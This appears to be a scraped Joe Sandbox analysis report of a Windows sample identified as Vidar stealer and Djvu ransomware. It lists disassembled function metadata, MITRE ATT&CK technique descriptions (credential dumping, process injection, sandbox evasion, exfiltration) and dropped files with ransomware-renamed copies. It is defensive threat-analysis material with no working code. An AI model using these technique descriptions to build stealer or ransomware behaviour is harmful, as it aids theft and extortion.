Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5ac0f7d37374ff6733935ce8cb2836e213487eef373475748ea8159088a97100
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5ac0f7d37374ff6733935ce8cb2836e213487eef373475748ea8159088a97100
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lzShU2RYJa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIJKKEHJDHJKFIECAAKFIJJK

C:\ProgramData\JDAKJDAA

C:\SystemID\PersonalID.txt

C:\Users\user\.curlrc

C:\Users\user\.curlrc.bgzq (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgzq (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Windows Analysis Report
lzShU2RYJa.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre